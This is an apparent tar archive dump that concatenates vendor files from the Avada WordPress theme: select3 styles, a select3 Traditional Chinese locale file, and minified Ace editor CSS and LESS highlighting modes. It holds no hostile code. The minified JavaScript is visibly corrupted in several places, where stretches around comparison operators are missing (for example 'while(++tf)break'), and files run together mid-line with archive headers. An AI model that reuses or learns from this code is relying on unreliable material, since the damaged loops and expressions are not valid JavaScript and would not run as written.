#e8e8e8), color-stop(100%, #eee)); background-image: -webkit-linear-gradient(top, #f4f4f4 20%, #f0f0f0 50%, #e8e8e8 52%, #eee 100%); background-image: -moz-linear-gradient(top, #f4f4f4 20%, #f0f0f0 50%, #e8e8e8 52%, #eee 100%); background-image: linear-gradient(to bottom, #f4f4f4 20%, #f0f0f0 50%, #e8e8e8 52%, #eee 100%); } html[dir="rtl"] .select3-container-multi .select3-choices .select3-search-choice { margin: 3px 5px 3px 0; padding: 3px 18px 3px 5px; } .select3-container-multi .select3-choices .select3-search-choice .select3-chosen { cursor: default; } .select3-container-multi .select3-choices .select3-search-choice-focus { background: #d4d4d4; } .select3-search-choice-close { display: block; width: 12px; height: 13px; position: absolute; right: 3px; top: 4px; font-size: 1px; outline: none; background: url('select3.png') right top no-repeat; } html[dir="rtl"] .select3-search-choice-close { right: auto; left: 3px; } .select3-container-multi .select3-search-choice-close { left: 3px; } html[dir="rtl"] .select3-container-multi .select3-search-choice-close { left: auto; right: 2px; } .select3-container-multi .select3-choices .select3-search-choice .select3-search-choice-close:hover { background-position: right -11px; } .select3-container-multi .select3-choices .select3-search-choice-focus .select3-search-choice-close { background-position: right -11px; } /* disabled styles */ .select3-container-multi.select3-container-disabled .select3-choices { background-color: #f4f4f4; background-image: none; border: 1px solid #ddd; cursor: default; } .select3-container-multi.select3-container-disabled .select3-choices .select3-search-choice { padding: 3px 5px 3px 5px; border: 1px solid #ddd; background-image: none; background-color: #f4f4f4; } .select3-container-multi.select3-container-disabled .select3-choices .select3-search-choice .select3-search-choice-close { display: none; background: none; } /* end multiselect */ .select3-result-selectable .select3-match, .select3-result-unselectable .select3-match { text-decoration: underline; } .select3-offscreen, .select3-offscreen:focus { clip: rect(0 0 0 0) !important; width: 1px !important; height: 1px !important; border: 0 !important; margin: 0 !important; padding: 0 !important; overflow: hidden !important; position: absolute !important; outline: 0 !important; left: 0px !important; top: 0px !important; } .select3-display-none { display: none; } .select3-measure-scrollbar { position: absolute; top: -10000px; left: -10000px; width: 100px; height: 100px; overflow: scroll; } /* Retina-ize icons */ @media only screen and (-webkit-min-device-pixel-ratio: 1.5), only screen and (min-resolution: 2dppx) { .select3-search input, .select3-search-choice-close, .select3-container .select3-choice abbr, .select3-container .select3-choice .select3-arrow b { background-image: url('select3x2.png') !important; background-repeat: no-repeat !important; background-size: 60px 40px !important; } .select3-search input { background-position: 100% -21px !important; } } lib/inc/redux/extensions/vendorsupport/vendor_support/vendor/select3/select3_locale_zh-TW.js000064400000001406152342437700031316 0ustar00Avada/includes/** * Select3 Traditional Chinese translation */ (function ($) { "use strict"; $.fn.select3.locales['zh-TW'] = { formatNoMatches: function () { return "沒有找到相符的項目"; }, formatInputTooShort: function (input, min) { var n = min - input.length; return "請再輸入" + n + "個字元";}, formatInputTooLong: function (input, max) { var n = input.length - max; return "請刪掉" + n + "個字元";}, formatSelectionTooBig: function (limit) { return "你只能選擇最多" + limit + "項"; }, formatLoadMore: function (pageNumber) { return "載入中…"; }, formatSearching: function () { return "搜尋中…"; } }; $.extend($.fn.select3.defaults, $.fn.select3.locales['zh-TW']); })(jQuery); Avada/includes/lib/inc/redux/extensions/vendorsupport/vendor_support/vendor/ace_editor/mode-css.js000064400000050310152342437700027727 0ustar00ace.define("ace/mode/css_highlight_rules",["require","exports","module","ace/lib/oop","ace/lib/lang","ace/mode/text_highlight_rules"],function(e,t,n){"use strict";var r=e("../lib/oop"),i=e("../lib/lang"),s=e("./text_highlight_rules").TextHighlightRules,o=t.supportType="animation-fill-mode|alignment-adjust|alignment-baseline|animation-delay|animation-direction|animation-duration|animation-iteration-count|animation-name|animation-play-state|animation-timing-function|animation|appearance|azimuth|backface-visibility|background-attachment|background-break|background-clip|background-color|background-image|background-origin|background-position|background-repeat|background-size|background|baseline-shift|binding|bleed|bookmark-label|bookmark-level|bookmark-state|bookmark-target|border-bottom|border-bottom-color|border-bottom-left-radius|border-bottom-right-radius|border-bottom-style|border-bottom-width|border-collapse|border-color|border-image|border-image-outset|border-image-repeat|border-image-slice|border-image-source|border-image-width|border-left|border-left-color|border-left-style|border-left-width|border-radius|border-right|border-right-color|border-right-style|border-right-width|border-spacing|border-style|border-top|border-top-color|border-top-left-radius|border-top-right-radius|border-top-style|border-top-width|border-width|border|bottom|box-align|box-decoration-break|box-direction|box-flex-group|box-flex|box-lines|box-ordinal-group|box-orient|box-pack|box-shadow|box-sizing|break-after|break-before|break-inside|caption-side|clear|clip|color-profile|color|column-count|column-fill|column-gap|column-rule|column-rule-color|column-rule-style|column-rule-width|column-span|column-width|columns|content|counter-increment|counter-reset|crop|cue-after|cue-before|cue|cursor|direction|display|dominant-baseline|drop-initial-after-adjust|drop-initial-after-align|drop-initial-before-adjust|drop-initial-before-align|drop-initial-size|drop-initial-value|elevation|empty-cells|fit|fit-position|float-offset|float|font-family|font-size|font-size-adjust|font-stretch|font-style|font-variant|font-weight|font|grid-columns|grid-rows|hanging-punctuation|height|hyphenate-after|hyphenate-before|hyphenate-character|hyphenate-lines|hyphenate-resource|hyphens|icon|image-orientation|image-rendering|image-resolution|inline-box-align|left|letter-spacing|line-height|line-stacking-ruby|line-stacking-shift|line-stacking-strategy|line-stacking|list-style-image|list-style-position|list-style-type|list-style|margin-bottom|margin-left|margin-right|margin-top|margin|mark-after|mark-before|mark|marks|marquee-direction|marquee-play-count|marquee-speed|marquee-style|max-height|max-width|min-height|min-width|move-to|nav-down|nav-index|nav-left|nav-right|nav-up|opacity|orphans|outline-color|outline-offset|outline-style|outline-width|outline|overflow-style|overflow-x|overflow-y|overflow|padding-bottom|padding-left|padding-right|padding-top|padding|page-break-after|page-break-before|page-break-inside|page-policy|page|pause-after|pause-before|pause|perspective-origin|perspective|phonemes|pitch-range|pitch|play-during|pointer-events|position|presentation-level|punctuation-trim|quotes|rendering-intent|resize|rest-after|rest-before|rest|richness|right|rotation-point|rotation|ruby-align|ruby-overhang|ruby-position|ruby-span|size|speak-header|speak-numeral|speak-punctuation|speak|speech-rate|stress|string-set|table-layout|target-name|target-new|target-position|target|text-align-last|text-align|text-decoration|text-emphasis|text-height|text-indent|text-justify|text-outline|text-shadow|text-transform|text-wrap|top|transform-origin|transform-style|transform|transition-delay|transition-duration|transition-property|transition-timing-function|transition|unicode-bidi|vertical-align|visibility|voice-balance|voice-duration|voice-family|voice-pitch-range|voice-pitch|voice-rate|voice-stress|voice-volume|volume|white-space-collapse|white-space|widows|width|word-break|word-spacing|word-wrap|z-index",u=t.supportFunction="rgb|rgba|url|attr|counter|counters",a=t.supportConstant="absolute|after-edge|after|all-scroll|all|alphabetic|always|antialiased|armenian|auto|avoid-column|avoid-page|avoid|balance|baseline|before-edge|before|below|bidi-override|block-line-height|block|bold|bolder|border-box|both|bottom|box|break-all|break-word|capitalize|caps-height|caption|center|central|char|circle|cjk-ideographic|clone|close-quote|col-resize|collapse|column|consider-shifts|contain|content-box|cover|crosshair|cubic-bezier|dashed|decimal-leading-zero|decimal|default|disabled|disc|disregard-shifts|distribute-all-lines|distribute-letter|distribute-space|distribute|dotted|double|e-resize|ease-in|ease-in-out|ease-out|ease|ellipsis|end|exclude-ruby|fill|fixed|georgian|glyphs|grid-height|groove|hand|hanging|hebrew|help|hidden|hiragana-iroha|hiragana|horizontal|icon|ideograph-alpha|ideograph-numeric|ideograph-parenthesis|ideograph-space|ideographic|inactive|include-ruby|inherit|initial|inline-block|inline-box|inline-line-height|inline-table|inline|inset|inside|inter-ideograph|inter-word|invert|italic|justify|katakana-iroha|katakana|keep-all|last|left|lighter|line-edge|line-through|line|linear|list-item|local|loose|lower-alpha|lower-greek|lower-latin|lower-roman|lowercase|lr-tb|ltr|mathematical|max-height|max-size|medium|menu|message-box|middle|move|n-resize|ne-resize|newspaper|no-change|no-close-quote|no-drop|no-open-quote|no-repeat|none|normal|not-allowed|nowrap|nw-resize|oblique|open-quote|outset|outside|overline|padding-box|page|pointer|pre-line|pre-wrap|pre|preserve-3d|progress|relative|repeat-x|repeat-y|repeat|replaced|reset-size|ridge|right|round|row-resize|rtl|s-resize|scroll|se-resize|separate|slice|small-caps|small-caption|solid|space|square|start|static|status-bar|step-end|step-start|steps|stretch|strict|sub|super|sw-resize|table-caption|table-cell|table-column-group|table-column|table-footer-group|table-header-group|table-row-group|table-row|table|tb-rl|text-after-edge|text-before-edge|text-bottom|text-size|text-top|text|thick|thin|transparent|underline|upper-alpha|upper-latin|upper-roman|uppercase|use-script|vertical-ideographic|vertical-text|visible|w-resize|wait|whitespace|z-index|zero",f=t.supportConstantColor="aqua|black|blue|fuchsia|gray|green|lime|maroon|navy|olive|orange|purple|red|silver|teal|white|yellow",l=t.supportConstantFonts="arial|century|comic|courier|garamond|georgia|helvetica|impact|lucida|symbol|system|tahoma|times|trebuchet|utopia|verdana|webdings|sans-serif|serif|monospace",c=t.numRe="\\-?(?:(?:[0-9]+)|(?:[0-9]*\\.[0-9]+))",h=t.pseudoElements="(\\:+)\\b(after|before|first-letter|first-line|moz-selection|selection)\\b",p=t.pseudoClasses="(:)\\b(active|checked|disabled|empty|enabled|first-child|first-of-type|focus|hover|indeterminate|invalid|last-child|last-of-type|link|not|nth-child|nth-last-child|nth-last-of-type|nth-of-type|only-child|only-of-type|required|root|target|valid|visited)\\b",d=function(){var e=this.createKeywordMapper({"support.function":u,"support.constant":a,"support.type":o,"support.constant.color":f,"support.constant.fonts":l},"text",!0);this.$rules={start:[{token:"comment",regex:"\\/\\*",push:"comment"},{token:"paren.lparen",regex:"\\{",push:"ruleset"},{token:"string",regex:"@.*?{",push:"media"},{token:"keyword",regex:"#[a-z0-9-_]+"},{token:"variable",regex:"\\.[a-z0-9-_]+"},{token:"string",regex:":[a-z0-9-_]+"},{token:"constant",regex:"[a-z0-9-_]+"},{caseInsensitive:!0}],media:[{token:"comment",regex:"\\/\\*",push:"comment"},{token:"paren.lparen",regex:"\\{",push:"ruleset"},{token:"string",regex:"\\}",next:"pop"},{token:"keyword",regex:"#[a-z0-9-_]+"},{token:"variable",regex:"\\.[a-z0-9-_]+"},{token:"string",regex:":[a-z0-9-_]+"},{token:"constant",regex:"[a-z0-9-_]+"},{caseInsensitive:!0}],comment:[{token:"comment",regex:"\\*\\/",next:"pop"},{defaultToken:"comment"}],ruleset:[{token:"paren.rparen",regex:"\\}",next:"pop"},{token:"comment",regex:"\\/\\*",push:"comment"},{token:"string",regex:'["](?:(?:\\\\.)|(?:[^"\\\\]))*?["]'},{token:"string",regex:"['](?:(?:\\\\.)|(?:[^'\\\\]))*?[']"},{token:["constant.numeric","keyword"],regex:"("+c+")(ch|cm|deg|em|ex|fr|gd|grad|Hz|in|kHz|mm|ms|pc|pt|px|rad|rem|s|turn|vh|vm|vw|%)"},{token:"constant.numeric",regex:c},{token:"constant.numeric",regex:"#[a-f0-9]{6}"},{token:"constant.numeric",regex:"#[a-f0-9]{3}"},{token:["punctuation","entity.other.attribute-name.pseudo-element.css"],regex:h},{token:["punctuation","entity.other.attribute-name.pseudo-class.css"],regex:p},{token:["support.function","string","support.function"],regex:"(url\\()(.*)(\\))"},{token:e,regex:"\\-?[a-zA-Z_][a-zA-Z0-9_\\-]*"},{caseInsensitive:!0}]},this.normalizeRules()};r.inherits(d,s),t.CssHighlightRules=d}),ace.define("ace/mode/matching_brace_outdent",["require","exports","module","ace/range"],function(e,t,n){"use strict";var r=e("../range").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\s+$/.test(e)?/^\s*\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\s*\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),ace.define("ace/mode/behaviour/cstyle",["require","exports","module","ace/lib/oop","ace/mode/behaviour","ace/token_iterator","ace/lib/lang"],function(e,t,n){"use strict";var r=e("../../lib/oop"),i=e("../behaviour").Behaviour,s=e("../../token_iterator").TokenIterator,o=e("../../lib/lang"),u=["text","paren.rparen","punctuation.operator"],a=["text","paren.rparen","punctuation.operator","comment"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:"",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:"",maybeInsertedLineEnd:""}},h=function(){this.add("braces","insertion",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i=="{"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==""&&l!=="{"&&n.getWrapBehavioursEnabled())return{text:"{"+l+"}",selection:!1};if(h.isSaneInsertion(n,r))return/[\]\}\)]/.test(u[s.column])||n.inMultiSelectMode?(h.recordAutoInsert(n,r,"}"),{text:"{}",selection:[1,1]}):(h.recordMaybeInsert(n,r,"{"),{text:"{",selection:[1,1]})}else if(i=="}"){c(n);var p=u.substring(s.column,s.column+1);if(p=="}"){var d=r.$findOpeningBracket("}",{column:s.column+1,row:s.row});if(d!==null&&h.isAutoInsertedClosing(s,u,i))return h.popAutoInsertedClosing(),{text:"",selection:[1,1]}}}else{if(i=="\n"||i=="\r\n"){c(n);var v="";h.isMaybeInsertedClosing(s,u)&&(v=o.stringRepeat("}",f.maybeInsertedBrackets),h.clearMaybeInsertedClosing());var p=u.substring(s.column,s.column+1);if(p==="}"){var m=r.findMatchingBracket({row:s.row,column:s.column+1},"}");if(!m)return null;var g=this.$getIndent(r.getLine(m.row))}else{if(!v){h.clearMaybeInsertedClosing();return}var g=this.$getIndent(u)}var y=g+r.getTabString();return{text:"\n"+y+"\n"+g+v,selection:[1,y.length,1,y.length]}}h.clearMaybeInsertedClosing()}}),this.add("braces","deletion",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s=="{"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u=="}")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add("parens","insertion",function(e,t,n,r,i){if(i=="("){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==""&&n.getWrapBehavioursEnabled())return{text:"("+o+")",selection:!1};if(h.isSaneInsertion(n,r))return h.recordAutoInsert(n,r,")"),{text:"()",selection:[1,1]}}else if(i==")"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==")"){var l=r.$findOpeningBracket(")",{column:u.column+1,row:u.row});if(l!==null&&h.isAutoInsertedClosing(u,a,i))return h.popAutoInsertedClosing(),{text:"",selection:[1,1]}}}}),this.add("parens","deletion",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s=="("){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==")")return i.end.column++,i}}),this.add("brackets","insertion",function(e,t,n,r,i){if(i=="["){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==""&&n.getWrapBehavioursEnabled())return{text:"["+o+"]",selection:!1};if(h.isSaneInsertion(n,r))return h.recordAutoInsert(n,r,"]"),{text:"[]",selection:[1,1]}}else if(i=="]"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f=="]"){var l=r.$findOpeningBracket("]",{column:u.column+1,row:u.row});if(l!==null&&h.isAutoInsertedClosing(u,a,i))return h.popAutoInsertedClosing(),{text:"",selection:[1,1]}}}}),this.add("brackets","deletion",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s=="["){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u=="]")return i.end.column++,i}}),this.add("string_dquotes","insertion",function(e,t,n,r,i){if(i=='"'||i=="'"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==""&&u!=="'"&&u!='"'&&n.getWrapBehavioursEnabled())return{text:s+u+s,selection:!1};var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),h=f.substring(a.column,a.column+1),p=r.getTokenAt(a.row,a.column),d=r.getTokenAt(a.row,a.column+1);if(l=="\\"&&p&&/escape/.test(p.type))return null;var v=p&&/string/.test(p.type),m=!d||/string/.test(d.type),g;if(h==s)g=v!==m;else{if(v&&!m)return null;if(v&&m)return null;var y=r.$mode.tokenRe;y.lastIndex=0;var b=y.test(l);y.lastIndex=0;var w=y.test(l);if(b||w)return null;if(h&&!/[\s;,.})\]\\]/.test(h))return null;g=!0}return{text:g?s+s:"",selection:[1,1]}}}),this.add("string_dquotes","deletion",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='"'||s=="'")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};h.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||"text",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||"text",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||"text",a)},h.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},h.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},h.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},h.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},h.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},h.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},h.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(h,i),t.CstyleBehaviour=h}),ace.define("ace/mode/behaviour/css",["require","exports","module","ace/lib/oop","ace/mode/behaviour","ace/mode/behaviour/cstyle","ace/token_iterator"],function(e,t,n){"use strict";var r=e("../../lib/oop"),i=e("../behaviour").Behaviour,s=e("./cstyle").CstyleBehaviour,o=e("../../token_iterator").TokenIterator,u=function(){this.inherit(s),this.add("colon","insertion",function(e,t,n,r,i){if(i===":"){var s=n.getCursorPosition(),u=new o(r,s.row,s.column),a=u.getCurrentToken();a&&a.value.match(/\s+/)&&(a=u.stepBackward());if(a&&a.type==="support.type"){var f=r.doc.getLine(s.row),l=f.substring(s.column,s.column+1);if(l===":")return{text:"",selection:[1,1]};if(!f.substring(s.column).match(/^\s*;/))return{text:":;",selection:[1,1]}}}}),this.add("colon","deletion",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s===":"){var u=n.getCursorPosition(),a=new o(r,u.row,u.column),f=a.getCurrentToken();f&&f.value.match(/\s+/)&&(f=a.stepBackward());if(f&&f.type==="support.type"){var l=r.doc.getLine(i.start.row),c=l.substring(i.end.column,i.end.column+1);if(c===";")return i.end.column++,i}}}),this.add("semicolon","insertion",function(e,t,n,r,i){if(i===";"){var s=n.getCursorPosition(),o=r.doc.getLine(s.row),u=o.substring(s.column,s.column+1);if(u===";")return{text:"",selection:[1,1]}}})};r.inherits(u,s),t.CssBehaviour=u}),ace.define("ace/mode/folding/cstyle",["require","exports","module","ace/lib/oop","ace/range","ace/mode/folding/fold_mode"],function(e,t,n){"use strict";var r=e("../../lib/oop"),i=e("../../range").Range,s=e("./fold_mode").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\|[^|]*?$/,"|"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\|[^|]*?$/,"|"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\{|\[)[^\}\]]*$|^\s*(\/\*)/,this.foldingStopMarker=/^[^\[\{]*(\}|\])|^[\s\*]*(\*\/)/,this.singleLineBlockCommentRe=/^\s*(\/\*).*\*\/\s*$/,this.tripleStarBlockCommentRe=/^\s*(\/\*\*\*).*\*\/\s*$/,this.startRegionRe=/^\s*(\/\*|\/\/)#region\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return"";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?"start":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!="all"&&(u=null)),u}if(t==="markbegin")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++tf)break;var l=this.getFoldWidgetRange(e,"all",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\s*$/),s=e.getLength(),o=n,u=/^\s*(?:\/\*|\/\/)#(end)?region\b/,a=1;while(++no)return new i(o,r,l,t.length)}}.call(o.prototype)}),ace.define("ace/mode/css",["require","exports","module","ace/lib/oop","ace/mode/text","ace/mode/css_highlight_rules","ace/mode/matching_brace_outdent","ace/worker/worker_client","ace/mode/behaviour/css","ace/mode/folding/cstyle"],function(e,t,n){"use strict";var r=e("../lib/oop"),i=e("./text").Mode,s=e("./css_highlight_rules").CssHighlightRules,o=e("./matching_brace_outdent").MatchingBraceOutdent,u=e("../worker/worker_client").WorkerClient,a=e("./behaviour/css").CssBehaviour,f=e("./folding/cstyle").FoldMode,l=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new a,this.foldingRules=new f};r.inherits(l,i),function(){this.foldingRules="cStyle",this.blockComment={start:"/*",end:"*/"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e).tokens;if(i.length&&i[i.length-1].type=="comment")return r;var s=t.match(/^.*\{\s*$/);return s&&(r+=n),r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.createWorker=function(e){var t=new u(["ace"],"ace/mode/css_worker","Worker");return t.attachToDocument(e.getDocument()),t.on("csslint",function(t){e.setAnnotations(t.data)}),t.on("terminate",function(){e.clearAnnotations()}),t},this.$id="ace/mode/css"}.call(l.prototype),t.Mode=l})Avada/includes/lib/inc/redux/extensions/vendorsupport/vendor_support/vendor/ace_editor/mode-less.js000064400000044740152342437700030117 0ustar00ace.define("ace/mode/less_highlight_rules",["require","exports","module","ace/lib/oop","ace/lib/lang","ace/mode/text_highlight_rules"],function(e,t,n){"use strict";var r=e("../lib/oop"),i=e("../lib/lang"),s=e("./text_highlight_rules").TextHighlightRules,o=function(){var e=i.arrayToMap(function(){var e="-webkit-|-moz-|-o-|-ms-|-svg-|-pie-|-khtml-".split("|"),t="appearance|background-clip|background-inline-policy|background-origin|background-size|binding|border-bottom-colors|border-left-colors|border-right-colors|border-top-colors|border-end|border-end-color|border-end-style|border-end-width|border-image|border-start|border-start-color|border-start-style|border-start-width|box-align|box-direction|box-flex|box-flexgroup|box-ordinal-group|box-orient|box-pack|box-sizing|column-count|column-gap|column-width|column-rule|column-rule-width|column-rule-style|column-rule-color|float-edge|font-feature-settings|font-language-override|force-broken-image-icon|image-region|margin-end|margin-start|opacity|outline|outline-color|outline-offset|outline-radius|outline-radius-bottomleft|outline-radius-bottomright|outline-radius-topleft|outline-radius-topright|outline-style|outline-width|padding-end|padding-start|stack-sizing|tab-size|text-blink|text-decoration-color|text-decoration-line|text-decoration-style|transform|transform-origin|transition|transition-delay|transition-duration|transition-property|transition-timing-function|user-focus|user-input|user-modify|user-select|window-shadow|border-radius".split("|"),n="azimuth|background-attachment|background-color|background-image|background-position|background-repeat|background|border-bottom-color|border-bottom-style|border-bottom-width|border-bottom|border-collapse|border-color|border-left-color|border-left-style|border-left-width|border-left|border-right-color|border-right-style|border-right-width|border-right|border-spacing|border-style|border-top-color|border-top-style|border-top-width|border-top|border-width|border|bottom|box-sizing|caption-side|clear|clip|color|content|counter-increment|counter-reset|cue-after|cue-before|cue|cursor|direction|display|elevation|empty-cells|float|font-family|font-size-adjust|font-size|font-stretch|font-style|font-variant|font-weight|font|height|left|letter-spacing|line-height|list-style-image|list-style-position|list-style-type|list-style|margin-bottom|margin-left|margin-right|margin-top|marker-offset|margin|marks|max-height|max-width|min-height|min-width|opacity|orphans|outline-color|outline-style|outline-width|outline|overflow|overflow-x|overflow-y|padding-bottom|padding-left|padding-right|padding-top|padding|page-break-after|page-break-before|page-break-inside|page|pause-after|pause-before|pause|pitch-range|pitch|play-during|position|quotes|richness|right|size|speak-header|speak-numeral|speak-punctuation|speech-rate|speak|stress|table-layout|text-align|text-decoration|text-indent|text-shadow|text-transform|top|unicode-bidi|vertical-align|visibility|voice-family|volume|white-space|widows|width|word-spacing|z-index".split("|"),r=[];for(var i=0,s=e.length;i|<=|>=|==|!=|-|%|#|\\+|\\$|\\+|\\*"},{token:"paren.lparen",regex:"[[({]"},{token:"paren.rparen",regex:"[\\])}]"},{token:"text",regex:"\\s+"},{caseInsensitive:!0}],comment:[{token:"comment",regex:".*?\\*\\/",next:"start"},{token:"comment",regex:".+"}]}};r.inherits(o,s),t.LessHighlightRules=o}),ace.define("ace/mode/matching_brace_outdent",["require","exports","module","ace/range"],function(e,t,n){"use strict";var r=e("../range").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\s+$/.test(e)?/^\s*\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\s*\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),ace.define("ace/mode/behaviour/cstyle",["require","exports","module","ace/lib/oop","ace/mode/behaviour","ace/token_iterator","ace/lib/lang"],function(e,t,n){"use strict";var r=e("../../lib/oop"),i=e("../behaviour").Behaviour,s=e("../../token_iterator").TokenIterator,o=e("../../lib/lang"),u=["text","paren.rparen","punctuation.operator"],a=["text","paren.rparen","punctuation.operator","comment"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:"",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:"",maybeInsertedLineEnd:""}},h=function(){this.add("braces","insertion",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i=="{"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==""&&l!=="{"&&n.getWrapBehavioursEnabled())return{text:"{"+l+"}",selection:!1};if(h.isSaneInsertion(n,r))return/[\]\}\)]/.test(u[s.column])||n.inMultiSelectMode?(h.recordAutoInsert(n,r,"}"),{text:"{}",selection:[1,1]}):(h.recordMaybeInsert(n,r,"{"),{text:"{",selection:[1,1]})}else if(i=="}"){c(n);var p=u.substring(s.column,s.column+1);if(p=="}"){var d=r.$findOpeningBracket("}",{column:s.column+1,row:s.row});if(d!==null&&h.isAutoInsertedClosing(s,u,i))return h.popAutoInsertedClosing(),{text:"",selection:[1,1]}}}else{if(i=="\n"||i=="\r\n"){c(n);var v="";h.isMaybeInsertedClosing(s,u)&&(v=o.stringRepeat("}",f.maybeInsertedBrackets),h.clearMaybeInsertedClosing());var p=u.substring(s.column,s.column+1);if(p==="}"){var m=r.findMatchingBracket({row:s.row,column:s.column+1},"}");if(!m)return null;var g=this.$getIndent(r.getLine(m.row))}else{if(!v){h.clearMaybeInsertedClosing();return}var g=this.$getIndent(u)}var 